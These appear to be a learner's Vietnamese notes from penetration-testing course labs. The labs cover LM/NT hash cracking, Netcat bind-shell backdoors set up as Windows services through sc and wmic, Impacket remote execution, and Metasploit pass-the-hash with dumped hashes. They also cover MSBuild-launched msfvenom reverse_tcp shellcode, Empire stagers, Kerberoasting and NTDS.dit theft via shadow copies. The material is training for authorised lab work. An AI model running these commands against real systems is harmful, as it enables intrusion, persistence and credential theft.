Để xem toàn bộ mật khẩu (ghép hai phần bảy ký tự của mật khẩu LM mà John đã bẻ khóa), ta có thể chạy lệnh với tùy chọn --show

Lệnh này sẽ tìm kiếm trong tệp john.pot các hàm băm đã bẻ khóa từ web01.hashes và hiển thị mật khẩu đầy đủ được liên kết với từng người dùng.
Ta có thể sử dụng lệnh cat để kiểm tra nội dung của tệp john.pot

Trên các hệ thống hiện đại, hiếm khi mật khẩu LM còn được sử dụng. Tuy nhiên, trong các miền (domains) có tài khoản cũ, điều này vẫn xảy ra. Theo kinh nghiệm của tác giả, khoảng 15% môi trường vẫn có mật khẩu LM. Điều này có nghĩa là đây vẫn là một phương pháp tấn công khả thi!
Bây giờ, ta sẽ sử dụng John để bẻ khóa hàm băm NT bằng cách sử dụng tùy chọn --format=nt.
Chạy lệnh john --format=nt ~/labs/web01.hashes

Nhấn CTRL-C hoặc q để dừng quá trình bẻ khóa. Ta sẽ thấy quá trình bẻ khóa này chậm hơn. Các mật khẩu trên hệ thống mục tiêu không nằm trong danh sách mật khẩu mặc định của John.
Hãy nhớ rằng với định dạng LM, mật khẩu được chuyển đổi sang chữ hoa và tách thành hai phần. Trong khi đó, định dạng NT không chuyển đổi hay tách mật khẩu, khiến cho việc bẻ khóa trở nên khó khăn hơn.
Trong trường hợp này, ta có cả băm mật khẩu LM và NT. Băm LM đã được bẻ khóa rất nhanh và cung cấp cho ta mật khẩu viết hoa. Ta có thể sử dụng mật khẩu viết hoa này với băm NT để khôi phục mật khẩu gốc.
Nếu nhìn lại, ta có thể thấy rằng ta đã bẻ khóa băm LM của người dùng vberry, nhưng chưa bẻ khóa băm NT. Ta có thể sử dụng một công cụ trong Metasploit để hỗ trợ hoàn thành việc bẻ khóa và lấy được mật khẩu phân biệt chữ hoa - chữ thường.
Trước tiên, hãy kiểm tra dòng chứa người dùng vberry trong tệp web01.hashes:

Như ta nhớ, phần đầu tiên là băm LM, còn phần thứ hai là băm NT. Ta sẽ sử dụng mật khẩu viết hoa từ LM để bẻ khóa băm NT và lấy mật khẩu có phân biệt chữ hoa - chữ thường.
Bản phát hành Jumbo của John the Ripper (JtR) bổ sung một số tính năng bổ trợ, bao gồm tùy chọn --loopback. Tùy chọn này cho phép ta sử dụng tệp pot (nơi lưu trữ mật khẩu/băm đã được bẻ khóa) làm đầu vào cho công cụ bẻ khóa. Sử dụng lệnh: john --format=nt --loopback ~/labs/web01.hashes

Ta đã sử dụng băm LM, bẻ khóa nó, sau đó tận dụng mật khẩu không phân biệt chữ hoa - chữ thường để bẻ khóa băm NT có phân biệt chữ hoa - chữ thường!
Việc đoán được mật khẩu đầy đủ mIMiGOTkNEN2zg gần như là không thể, nhưng cơ chế lưu trữ LM đã khiến việc này trở nên cực kỳ dễ dàng!
### Lab 4.1 Running Commands with SC and WMIC
1. Setup
Trong thư mục C:\Tools, có một tệp tên là **ncexer.bat** sẽ tạo hai cửa sổ terminal với màu sắc khác nhau để bạn sử dụng trong bài lab này. Nếu bạn bị mù màu, hãy sử dụng tiêu đề của cửa sổ làm hướng dẫn.
VUI LÒNG CHẠY TỆP ncexer.bat VỚI QUYỀN ADMIN. Trên Windows, bạn có thể làm điều này bằng cách nhấp chuột phải và chọn Run as administrator.
Tệp này sẽ mở ra hai cửa sổ cmd.exe với màu sắc và tiêu đề khác nhau. Cửa sổ màu vàng sẽ là máy Tấn công (Attacker). Cửa sổ màu xám sẽ là máy Nạn nhân (Victim). Bây giờ hãy thực hành khởi tạo một Netcat backdoor lắng nghe tại cổng TCP 2222 và cung cấp quyền truy cập shell dòng lệnh. Trên cửa sổ của Nạn nhân (màu xám), chạy:
```
C:\Tools\nc.exe -nvlp 2222 -e cmd.exe
```
Trong cửa sổ Attacker (màu vàng), hãy sử dụng một client Netcat để kết nối với backdoor đó:
```
C:\Tools\nc.exe -nv 127.0.0.1 2222
```
Bạn sẽ nhận được quyền truy cập vào shell dòng lệnh. Hãy gõ một vài lệnh, chẳng hạn như hostname và dir.
Kết nối này minh họa cho khái niệm mà chúng ta đang cố gắng đạt được: truy cập shell dạng backdoor trên máy Windows mục tiêu. Tuy nhiên, bạn cần thoát khỏi shell này để tiếp tục bài lab. Vui lòng ngắt kết nối ở cả hai phía bằng cách nhấn CTRL+C trong màn hình màu vàng hoặc màu xám. Việc này sẽ đóng backdoor để chúng ta có thể tiếp tục và tạo lại nó bằng lệnh sc và wmic

2. Tạo Service
Sau khi đã dừng listener Netcat trên cổng TCP 2222 bằng CTRL+C, hãy sử dụng lệnh sc để biến Netcat thành một dịch vụ. Trong cửa sổ Attacker, hãy xác định hostname của máy bạn bằng cách chạy:

Bây giờ hãy sử dụng lệnh sc để tạo một dịch vụ Netcat, chúng ta sẽ đặt tên là ncservice:
```
sc \\Sec560Student create ncservice binpath= "c:\tools\nc.exe -l -p 2222 -e cmd.exe"
```
Thêm nữa, không sử dụng địa chỉ IP thay cho hostname (Sec560Student) bởi vì một số máy Windows gặp vấn đề khi sử dụng localhost, 127.0.0.1, hoặc các địa chỉ IP cục bộ làm tên cho lệnh này. Thay vào đó, chỉ cần dùng hostname của máy bạn.
Khi thực hiện từ xa, lệnh này cũng hoạt động tốt chỉ với địa chỉ IP của máy nạn nhân. Nếu dịch vụ được tạo thành công, máy sẽ hiển thị thông báo CreateService SUCCESS.

Sau đó, bạn có thể truy vấn trạng thái của dịch vụ bằng lệnh:
```
sc \\Sec560Student query ncservice
```

Tiếp theo, chúng ta sẽ khởi động dịch vụ và thử kết nối đến nó.
Bây giờ chúng ta đã tạo xong ncservice, hãy thiết lập một cách theo dõi nhỏ cho dịch vụ này trong cửa sổ Victim. Bạn có thể làm điều này bằng cách giám sát cổng TCP 2222 để xem khi nào nó bắt đầu lắng nghe. Chạy lệnh netstat như sau:
netstat -nao 1 | find ":2222"
Lệnh này yêu cầu netstat liệt kê, dưới dạng số (-n), tất cả các cổng TCP và UDP (-a) đang được sử dụng cùng với ID tiến trình sử dụng mỗi cổng (-o), cập nhật mỗi giây (1). Lưu ý: cần có khoảng trắng giữa -nao và 1. Sau đó, chúng ta lọc kết quả đầu ra của netstat để tìm chuỗi 2222, điều này cho biết cổng đang được sử dụng.
Cổng không nên đang được sử dụng, vì trước đó chúng ta đã dừng listener Netcat thử nghiệm. Lệnh netstat có thể có vẻ như đang bị treo, nhưng thực tế nó đang chờ để hiển thị điều gì đó — giống như đồng hồ đếm trong Linux vậy.
Bây giờ khi trình giám sát đã được thiết lập ở cửa sổ Victim, hãy dùng cửa sổ Attacker để khởi động dịch vụ của chúng ta:
```
sc \\Sec560Student start ncservice
```

Trong cửa sổ Victim (màu xám), lệnh netstat của bạn bây giờ sẽ bắt đầu hiển thị kết quả đầu ra, cho thấy rằng cổng TCP 2222 đang LISTENING.
Thật không may, sau khoảng 30 giây, lệnh sc sẽ kết thúc và hiển thị thông báo lỗi:
"The service did not respond to the start or control request in a timely fashion"
(Nghĩa là: "Dịch vụ không phản hồi yêu cầu khởi động hoặc điều khiển kịp thời").
Nhưng thực tế là dịch vụ đã hoạt động và lắng nghe trong 30 giây.
Bạn có thể nhận thấy rằng cổng vẫn hiển thị như đang mở và lắng nghe ngay cả sau khi Windows đã dừng dịch vụ. Điều đó là do có một listener ảo vẫn còn đó. Tiến trình hiển thị trong netstat thực chất đã không còn hoạt động trên Windows, vì thế không ai có thể kết nối đến cổng đó nữa, dù netstat vẫn hiển thị là LISTENING. Sau vài giây, Windows sẽ nhận ra điều này và giải phóng cổng đó.
Tạm dừng lệnh netstat bằng cách nhấn CTRL+C trong cửa sổ Victim.
Sau đó, xóa dịch vụ ncservice gốc để có thể tạo một phiên bản khác kiên trì hơn, giúp lắng nghe lâu hơn 30 giây (không bị timeout như trước).
```
sc \\Sec560Student delete ncservice
```
3. Service hiệu quả hơn
Khởi động lại lệnh netstat trong cửa sổ Victim để theo dõi listener của chúng ta:
```
netstat -nao 1 | find ":2222"
```
Tạo một dịch vụ Netcat tốt hơn, gọi là ncservice2, giúp listener của Netcat tồn tại lâu hơn 30 giây bằng cách chạy cmd.exe như một dịch vụ, và trong đó gọi Netcat với tùy chọn /k (để không kết thúc ngay):
```
sc \\Sec560Student create ncservice2 binpath= "cmd.exe /k c:\tools\nc.exe -l -p 2222 -e cmd.exe"
```
khởi động dịch vụ:
```
sc \\Sec560Student start ncservice2
```
Một lần nữa, lệnh sc của bạn có thể treo một lúc rồi hiển thị lỗi giống như trước:
"The service did not respond to the start or control request in a timely fashion."
Nhưng lần này, listener sẽ tiếp tục lắng nghe, và cổng 2222 vẫn mở.
Cửa sổ Victim (màu xám) sẽ tiếp tục hiển thị các dòng LISTENING, cho thấy rằng cổng đang lắng nghe thành công – điều mà dịch vụ ncservice ban đầu không làm được lâu.

Bây giờ, trong cửa sổ Attacker (màu vàng), kết nối đến listener bằng Netcat client:
```
c:\tools\nc.exe 127.0.0.1 2222
```
Bạn sẽ nhận được một command shell (dòng lệnh) trở lại. Shell này được tạo ra bởi tiến trình Netcat đang chạy ẩn dưới nền với quyền SYSTEM, được khởi chạy bởi dịch vụ ncservice2 mà chúng ta đã tạo.
Lưu ý: thanh tiêu đề của cửa sổ Attacker hiển thị rằng bạn đang chạy một Netcat client (c:\tools\nc.exe 127.0.0.1 2222), do đó, mọi lệnh bạn nhập tại đây sẽ được gửi đến Netcat listener mà chúng ta đã chạy nền qua dịch vụ.
Hãy thử gõ các lệnh như:
• hostname
• whoami
• dir
...trong Netcat client để xác nhận rằng bạn đã truy cập shell từ xa với quyền local SYSTEM

4. WMIC
Tiếp theo, chúng ta sẽ khởi chạy một Netcat listener với wmic thay vì sc. Như bạn thấy, điều này dễ thực hiện với wmic và có kích thước nhỏ hơn trên máy mục tiêu. (Tức là, chúng ta không phải định nghĩa một dịch vụ mà sau đó sẽ xóa.) Tuy nhiên, quy trình mà chúng ta gọi sẽ không có đặc quyền SYSTEM cục bộ. Thay vào đó, quy trình sẽ chạy với đặc quyền quản trị viên.
Bắt đầu bằng cách chạy một monitor trong cửa sổ Victim (grey). Chúng ta có thể sử dụng một monitor tìm kiếm một cổng cụ thể với netstat, nhưng thay vào đó, để khác biệt và mở rộng kỹ năng của chúng ta, hãy sử dụng một lệnh wmic để giám sát sự khởi động của một quy trình có tên là nc.exe. Chúng ta có thể làm điều này với lệnh sau:
```
wmic process where name="nc.exe" list brief /every:1
```

Lệnh này sử dụng wmic để xem xét các quy trình có tên là nc.exe, hiển thị một dòng đầu ra (ngắn gọn) với thông tin quan trọng cho mỗi quy trình có tên đó. Với cú pháp /every:1, chúng ta sẽ sử dụng wmic để chạy bất kỳ lệnh nào đọc thông tin từ máy của chúng ta mỗi giây một lần. Vì không có quy trình nào có tên là nc.exe trên máy của chúng ta, hệ thống sẽ nói, No Instance(s) Available. Nếu bạn thấy một Netcat executable, hãy dừng nó bằng taskkill.
Mặc dù lệnh wmic tiếp tục chạy mỗi giây, hãy chuyển sang cửa sổ Attacker (yellow). Chúng ta sẽ sử dụng wmic để gọi một Netcat listener trên máy mục tiêu, như sau:
wmic /node:Sec560Student process call create "c:\tools\nc.exe -l -p 4444 -e cmd.exe"
Theo mặc định, wmic thực hiện hành động trên máy cục bộ. Để làm cho công việc này từ xa, chúng ta phải thêm cú pháp /node:Sec558Student /user:[AdminUser] /password:[password] sau wmic và trước process trong lệnh này. Chỉ cần chạy nó ngay bây giờ.
Sau đó, hãy xem đầu ra của cửa sổ Victim (grey). Bạn có thấy quy trình Netcat đang chạy trong đầu ra của lệnh wmic /every:1 không?

Trong cửa sổ Attacker (yellow), kết nối đến Netcat listener bằng cách sử dụng:
```
c:\tools\nc.exe 127.0.0.1 4444
```
Gõ một số lệnh, chẳng hạn như hostname, whoami, ipconfig, và dir. Bạn sẽ thấy rằng đặc quyền của bạn là của người dùng quản trị viên chạy wmic. Khi hoàn tất, nhấn CTRL+C trong cả hai cửa sổ Attacker (yellow) và Victim (grey) để dừng Netcat client và vòng lặp giám sát wmic

Để ý có xuất hiện them của sổ console đen sau:

Cửa sổ console là một tác dụng phụ của cách chúng ta gọi Netcat. Nếu Netcat được gọi theo cách có thể tương tác với desktop của người dùng, nó sẽ mở một cửa sổ console, trừ khi chúng ta gọi Netcat với tùy chọn -d. Tùy chọn -d yêu cầu Netcat chạy tách biệt khỏi phiên của người dùng hiện tại. Là một người kiểm tra thâm nhập, chúng ta thường muốn tránh các cửa sổ console xuất hiện trên màn hình của máy mục tiêu, vì vậy thường an toàn khi gọi Netcat với -d trên Windows và các phiên bản UNIX của Netcat không có tác dụng phụ này. Thực tế, không có tùy chọn -d trong Netcat cho Linux/UNIX.
Hãy thử gọi Netcat bằng wmic như trước, nhưng lần này với tùy chọn -d:
```
wmic /node:Sec560Student process call create "c:\tools\nc.exe -dlp 4444 -e cmd.exe"
```
Bây giờ bạn sẽ không thấy cửa sổ console. (Thực tế, nó có thể xuất hiện nhanh trên màn hình và sau đó biến mất, tùy thuộc vào hiệu suất hệ thống của bạn.)
Để hoàn thành bài lab, hãy dừng các quy trình Netcat còn lại bằng lệnh này:
```
wmic /node:Sec560Student process where name="nc.exe" delete
```
### Lab 4.2 Impacket
1. wmiexec.py
Công cụ này cho phép chúng ta chạy các lệnh trên một dịch vụ từ xa. Nó yêu cầu chúng ta có quyền truy cập cấp quản trị viên trên mục tiêu. Nhược điểm lớn nhất là nó sử dụng DCOM và chúng ta cần có khả năng truy cập các cổng DCOM trên hệ thống mục tiêu, nhưng đôi khi chúng bị chặn bởi tường lửa, và bạn có thể phải sử dụng một công cụ khác, chẳng hạn như smbclient.py (sẽ được thảo luận sau).
Cú pháp của lệnh là:
```
wmiexec.py [domain/username:password@]<targetName or address> command
```
Tối thiểu, chúng ta cần cung cấp một username, mục tiêu, và command.
wmiexec.py username@target command
Hãy nhắm mục tiêu đến các máy chủ Windows.
wmiexec.py sec560@10.130.10.25 hostname
Nhập mật khẩu sec560 khi được yêu cầu

Chúng ta có thể sử dụng các giao thức Windows tích hợp để chạy các lệnh trên một hệ thống từ xa. Thậm chí tốt hơn, chúng ta không cần một tác nhân trên hệ thống đó!
Hãy xem chúng ta đang xác thực với tư cách ai bằng whoami. Nhấn phím mũi tên lên, sau đó thay thế hostname bằng whoami.

Lệnh trả về tên máy tính (sec560\student) theo sau bởi tên người dùng (sec560).
Đến giờ, có lẽ bạn đã cảm thấy phiền vì phải gõ mật khẩu nhiều lần. Hãy làm cho việc này dễ dàng hơn và đặt :password (nơi mật khẩu là sec560) ngay sau tên người dùng.
wmiexec.py sec560:abc@123@10.130.10.25 whoami

Cách chúng ta chạy lệnh này, mỗi lệnh là độc lập với các lệnh khác. Hãy khám phá điều này.
Đầu tiên, hãy xem vị trí thư mục hiện tại của chúng ta bằng cách chạy cd.

Trong Windows, cmd.exe, lệnh cd (không có tham số) hiển thị thư mục hiện tại của chúng ta (tương tự như pwd trên Linux).
Tiếp theo, hãy thay đổi thư mục sang \Users

Lưu ý rằng nó không ghi nhớ việc bạn đã thay đổi thư mục sang \Users. Chúng ta có thể khắc phục điều này bằng cách sử dụng đường dẫn đầy đủ đến các tệp, nhưng điều đó đòi hỏi phải gõ rất nhiều. Hãy chạy lại công cụ, nhưng không có command ở cuối. Điều này sẽ bắt đầu một phiên tương tác

2. smexec.py
Công cụ này hoạt động tương tự như wmiexec. Nó hoạt động ở hai chế độ, tùy thuộc vào cách công cụ được chạy. Theo tài liệu:
• share mode: Bạn chỉ định một share, và mọi thứ được thực hiện thông qua share đó.
• server mode: Nếu vì bất kỳ lý do nào không có share khả dụng, kịch bản này sẽ khởi chạy một máy chủ SMB cục bộ, vì vậy đầu ra của các lệnh được thực thi sẽ được gửi về máy mục tiêu vào một thư mục được chia sẻ cục bộ. Hãy nhớ rằng bạn sẽ cần quyền truy cập root để gắn kết cổng 445 trên máy cục bộ.
Ở share mode, công cụ sẽ ghi vào đĩa của hệ thống mục tiêu. Chúng ta thường không muốn ghi vào đĩa vì điều này để lại dấu vết bổ sung cho các cuộc tấn công. Ở server mode, toàn bộ việc ghi được thực hiện vào một share trên hệ thống của kẻ tấn công và hệ thống từ xa kết nối với máy chủ đó. Máy chủ chạy trên cổng 445 và yêu cầu quyền truy cập root để lắng nghe trên cổng đó. Chúng ta sẽ chạy công cụ ở server mode như root.
Cú pháp của các công cụ impacket rất giống nhau. Chúng ta có thể chỉ cần nhấn phím mũi tên lên, nhấn CTRL + a để nhảy đến đầu dòng, và thay thế wmi bằng smb.
sudo smbexec.py sec560:abc@123@10.130.10.25

Lưu ý rằng chúng ta đang chạy với tư cách system. Điều này có thể mong muốn, hoặc có thể không. Nó phụ thuộc vào việc bạn có cần quyền siêu người dùng (với system) hay bạn cần truy cập dưới dạng một người dùng thông thường (để truy cập các tài nguyên khác).

Lưu ý rằng shell này không duy trì trạng thái. Chúng ta không thể thay đổi thư mục, vì vậy chúng ta luôn phải sử dụng đường dẫn đầy đủ để điều hướng. Hãy xem điều đó trông như thế nào.
Chạy lệnh dir \users

Chạy lệnh dir \users\sec560

Chạy lệnh dir \users\sec560\Desktop

Sự lựa chọn giữa smbexec.py và wmiexec.py phụ thuộc vào những gì có sẵn trên hệ thống từ xa và sở thích cá nhân.
Đóng phiên console từ xa của bạn bằng cách gõ exit. Sau đó, hãy xem xét một công cụ khác: smbclient.py.
3. smbclient.py
Công cụ này khác với smbexec.py. Đây là một client được sử dụng để điều hướng các share và di chuyển tệp đến và từ các hệ thống. Hãy kết nối với máy chủ tệp tại 10.130.10.44. Lần này, chúng ta sẽ sử dụng người dùng domain và mật khẩu mà chúng ta đã phát hiện trước đó trong lớp. Vì đây là người dùng domain, chúng ta cần định dạng tên người dùng dưới dạng domain/username. Chúng ta sẽ vẫn sử dụng mật khẩu trên dòng lệnh.
Bắt đầu một kết nối smbclient.py với máy chủ tệp bằng cách sử dụng bgreen.
smbclient.py hiboxy/bgreen:Password1@10.130.10.10


Hãy xem qua một vài tùy chọn được sử dụng phổ biến nhất.
• shares - liệt kê các share có sẵn
• use (sharename) - kết nối đến một share cụ thể
• cd (path) - thay đổi thư mục từ xa hiện tại thành (path)
• lcd (path) - thay đổi thư mục cục bộ hiện tại thành (path)
• pwd - hiển thị thư mục từ xa hiện tại
• ls (wildcard) - liệt kê tất cả các tệp trong thư mục từ xa hiện tại
• put (filename) - tải tệp filename lên thư mục hiện tại
• get (filename) - tải tệp filename xuống từ thư mục hiện tại
• cat (filename) - đọc tệp filename từ thư mục hiện tại
• close - đóng phiên SMB hiện tại
Chạy lệnh Shares để xem qua lệnh hệ thống

Các share kết thúc bằng $ là các share ẩn. Ngoài ra, ADMIN$, C$, và IPC$ là các share mặc định. Chúng thường chỉ có thể truy cập bởi quản trị viên. Hãy xem share CertEnroll bằng lệnh use

Có thể dung lệnh get để tải file về

4. lookupsid.py
Lệnh lookup.sid.py sẽ liệt kê tất cả người dùng trong domain. Chúng ta cần chỉ định một người dùng domain vì việc liên kết null/anonymous rất hiếm gặp trong thời gian gần đây. Trong trường hợp này, mục tiêu sẽ là bộ điều khiển domain.
lookupsid.py hiboxy/bgreen:Password1@10.130.10.10

Bạn sẽ thấy rất nhiều đầu ra ở đây. Danh sách bao gồm mọi người dùng (SidTypeUser) và nhóm (SidTypeGroup) trong domain.
Đây là một danh sách dài, nếu chúng ta chỉ muốn một danh sách ngắn hơn, chúng ta có thể chỉ định RID để dừng trước đó. Chạy lại lệnh, nhưng thêm 520 vào cuối

Đây là một công cụ tốt để lấy users trong domain chuẩn bị cho Password Guessing
### Lab 4.3 Pass-the-Hash
1. Obtaining Hashes
Sử dụng Metasploit và mô-đun psexec để thiết lập một phiên trên 10.130.10.10 bằng thông tin đăng nhập mà chúng ta đã phát hiện trước đó. Đầu tiên, khởi động Metasploit.
use exploit/windows/smb/psexec
set smbuser bgreen
set smbpass Password1
set smbdomain hiboxy
set rhosts 10.130.10.25
set lhost eth0

Chạy show options để xác nhận, sau đó run

Dùng module post/windows/gather/hashdump để lấy hash

Chúng ta sẽ xem xét dòng lệnh bắt đầu bằng antivirus. Tài khoản này trông chung chung, vì vậy hãy thử sử dụng hash này trên các hệ thống khác.
antivirus:1217:aad3b435b51404eeaad3b435b51404ee:12ae851bc310750f4ce00e3c7ef9b658:::
2. Sử dụng các Hash
Chúng ta sẽ sử dụng lại module psexec. Hãy thiết lập tài khoản trước.
background
set smbuser antivirus
unset smbdomain
Chúng ta cần mật khẩu cho tài khoản này. Chúng ta không biết mật khẩu gốc, vì vậy chúng ta sẽ sử dụng các hash. Cuộn lên và lấy các hash (cả LM và NT, bao gồm cả dấu : ở giữa). Sau đó dán hash với smbpassword
set smbpass aad3b435b51404eeaad3b435b51404ee:12ae851bc310750f4ce00e3c7ef9b658
Chúng ta có thể đặt tùy chọn rhosts để nhắm mục tiêu tất cả các máy chủ này.
set rhosts 10.130.10.4,6,21,25,33,44,45

Xác nhận lại options

3. Exploit
Chạy lệnh run để exploit

Tạo được 2 phiên, sessions -l để xem cụ thể hơn

4. Meterpreter Shell
Truy cập vào phiên bằng lệnh sessions -i 2, sau đó chạy lệnh getuid

Chạy lệnh ifconfig

Hãy sử dụng quyền truy cập của mục tiêu để tạo một tài khoản trên máy bằng cách chạy một cmd.exe shell và sau đó sử dụng net user để tạo một tài khoản và đặt mật khẩu: net user binhnd Abc#12345 /add

Dùng net user để xem kết quả tạo được

### Lab 4.4 MSBuild
1. Setup
Chúng ta sẽ sử dụng các máy ảo Windows và Slingshot Linux cục bộ của bạn cho bài tập lab này. Đầu tiên, hãy bắt đầu với một tệp XML mẫu để chứng minh rằng chúng ta có thể thực thi mã tùy ý bằng cách sử dụng MSBuild.
Trên máy chủ Windows của bạn, hãy mở tệp build1.xml trong thư mục CourseFiles được liên kết trên màn hình nền của bạn.

Dòng PUT CODE TO EXECUTE HERE sẽ được thay thành đoạn code thực thi
2. Initial Testing
Thay dòng code trên thành lệnh C# sau:
Console.WriteLine(“Hello binhnd!!!”);

Lưu tệp build.xml của bạn. Bây giờ hãy mở một Command Prompt (CMD, không phải PowerShell) và tìm MSBuild.exe bằng lệnh sau. Trong trường hợp này, CMD nhanh hơn, hiệu quả hơn và có đầu ra ngắn gọn hơn.

Ta sẽ chọn MSBuild.exe sau: C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
Đây là phiên bản 32-bit, vì vậy shellcode của chúng ta cũng cần phải là 32-bit. Nếu bạn chọn một phiên bản MSBuild khác, bạn sẽ phải thay đổi payload của mình cho phù hợp.
Hãy sao chép tên tệp và đường dẫn, sau đó dán vào terminal:
• Kéo để chọn đường dẫn
• Nhấn Enter để sao chép đường dẫn đã chọn vào clipboard
• Nhấp chuột phải để dán
Sau đó, bạn có thể kéo tệp build.xml đã cập nhật vào terminal (hoặc nhập đầy đủ đường dẫn). Lệnh của bạn sẽ trông như thế này:
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build.xml

3. Meterpreter Session
Hãy chuyển sang Linux để chúng ta có thể sử dụng Metasploit và msfvenom.
Đầu tiên, hãy khởi chạy msfconsole và thiết lập một trình lắng nghe để nhận kết nối từ payload mới của chúng ta.
Chúng ta sẽ đặt các tùy chọn sau:
• Exploit: use exploit/multi/handler
• Payload: set payload windows/meterpreter/reverse_tcp (mặc định)
• LHOST: set lhost 0.0.0.0 (0.0.0.0 sẽ lắng nghe trên tất cả các interface)
• LPORT: set lport 3333
Sau đó, chúng ta sẽ xác nhận các cài đặt là chính xác và bắt đầu trình lắng nghe bằng cách thực thi lệnh run

Mở một terminal mới. Chúng ta cần tạo shellcode bằng msfvenom. Sử dụng lệnh bên dưới, nhưng hãy đảm bảo bạn sử dụng địa chỉ IP Linux của eth0
Chạy lệnh sau: msfvenom -p windows/meterpreter/reverse_tcp lhost=eth0 lport=3333 -f csharp | tee /tmp/payload.txt

Chúng ta cần đưa tệp này vào Windows. Chuyển đến thư mục /tmp và khởi chạy một máy chủ HTTP đơn giản
cd /tmp
python3 -m http.server

Quay lại Windows và duyệt đến địa chỉ IP Linux của bạn trên cổng 8000. Sau đó, hãy mở tệp payload.txt


Copy toàn bộ đoạn Shellcode trên vào build2.xml. Paste vào dòng //PUT YOUR SHELLCODE HERE;

Lưu chỉnh sửa và thực hiện build file này

Tại máy linux, sessions mới đã được tạo

4. Empire
Có thể thấy build payload bằng Metasploit rất khó khăn. Ta sẽ thử dùng Empire
Chạy lệnh:
cd /opt/empire
sudo ./ps-empire server

Ở Terminal khác, chạy client:
cd /opt/empire
/opt/empire/ps-empire client
Đầu tiên, chúng ta cần cấu hình một listener để nhận kết nối. Nếu bạn đã có một listener từ lab trước, hãy tiếp tục và sử dụng nó!
uselistener http
Chúng ta cần cấu hình và thực thi listener.
set Host http://10.130.10.128:9999
set Port 9999
execute

Build XML launcher file: usestager windows/launcher_xml

Đặt Listener rồi tạo payload

Mở terminal mới rồi tạo server http để tải payload

Chuyển sang Windows và duyệt đến địa chỉ IP Linux của bạn trên cổng 8000. Nhấp vào launcher.xml và lưu tệp vào màn hình nền Windows của bạn. Sau đó, chạy MSBuild bằng tệp mới này

Tải về sau đó Build file xml trên

Bên máy Linux đã tạo được agents

Tạo agents thành công
### Lab 5.1: Kerberoast
1. Enumerate and Request Tickets

GetUserSPNs.py: Công cụ của Impacket để truy xuất các tài khoản dịch vụ có SPN (Service Principal Name- là một định danh duy nhất cho một dịch vụ chạy dưới một tài khoản người dùng hoặc máy tính trong hệ thống Active Directory. Nó giống như “địa chỉ định danh” để các dịch vụ như SQL Server, HTTP, LDAP,... có thể được xác thực qua Kerberos.) trong Active Directory.

2. Cracking the ticket
Khôi phục mật khẩu bằng cách brute-force vé dịch vụ mà đã lấy được. Trích xuất các dòng chứa hash có thể bẻ khóa.

Khi xem tài liệu của Hashcat, hash $krb5tgs$23$ được Hashcat tham chiếu dưới chế độ 13100. Chế độ 13100 trong Hashcat được sử dụng để bẻ khóa Kerberos TGS-REP Hash. Kerberos TGS-REP hash là một dạng service ticket mà máy khách (client) nhận được khi yêu cầu truy cập vào dịch vụ trong Active Directory.


3. Cracking the domain admin ticket
Thử tìm mật khẩu tiếp theo sẽ thêm vào đầu một ký tự đặc biệt (-a 7), tức là một ký tự đặc biệt (?s), cần thay đổi thứ tự của mặt nạ (mask) và từ điển (dictionary).

4. Use stolen credential
Sử dụng thông tin đăng nhập vừa crack được để truy cập vào Domain Controller. Sử dụng wmiexec.py để thực thi lệnh trên DC01 bằng tài khoản SVC_SQLService2 vừa chiếm được. Xác minh quyền truy cập vào DC01 bằng tài khoản vừa đánh cắp


### Lab 5.2: Domain Moinance
1. Establishing a shell on DC01
wmiexec.py là một công cụ thuộc bộ Impacket, cho phép bạn thực thi lệnh từ xa trên máy Windows thông qua WMI (Windows Management Instrumentation), mà không cần mở shell reverse hay bind port.

2. Looking at Shadow Copies
Dùng để tạo bản sao (snapshot) của ổ đĩa — thường dùng để sao lưu, khôi phục, hoặc trong một số trường hợp tấn công post-exploitation như bypass ransomware protection, trích xuất file registry, hoặc copy file đang bị khóa

Chức năng: Liệt kê tất cả các bản sao (shadow copies) đã tồn tại trên hệ thống. Dùng để kiểm tra xem có snapshot nào có thể khôi phục file, hoặc trích xuất dữ liệu nhạy cảm như SAM, SYSTEM, NTDS.dit.
3.Create a Shadow Copy
Tạo một bản snapshot (shadow copy) mới cho ổ C:\.

4. Creating a copy of NTDS.dit and the System Hive
Lấy file cơ sở dữ liệu Active Directory chứa toàn bộ thông tin người dùng và hash mật khẩu từ DC (Domain Controller). Vị trí mặc định:
C:\Windows\NTDS\ntds.dit. File này không thể truy cập trực tiếp khi hệ thống đang chạy, nên đã dùng shadow copy để bypass khóa truy cập – tuyệt chiêu rất hay
#### Bản chất của Kerberoasting
Kẻ tấn công:
Đăng nhập thành công (bằng bất kỳ tài khoản domain nào – user bình thường cũng được).
Yêu cầu vé dịch vụ (TGS) cho một Service Principal Name (SPN) từ KDC.
Nhận TGS được mã hóa bằng mật khẩu của tài khoản dịch vụ.
Lưu TGS về máy dưới dạng hash (RC4-HMAC hoặc AES).
Crack offline bằng công cụ như hashcat, john, Rubeus để lấy password.
#### Sliver Ticker giả mạo là gì
"Sliver TGT giả mạo" (hay thường gọi là Silver Ticket Forgery) là một kỹ thuật tấn công Kerberos nâng cao, cho phép attacker giả mạo vé dịch vụ (TGS) để truy cập trực tiếp đến dịch vụ cụ thể trên domain — mà không cần TGT (Ticket Granting Ticket) từ Domain Controller.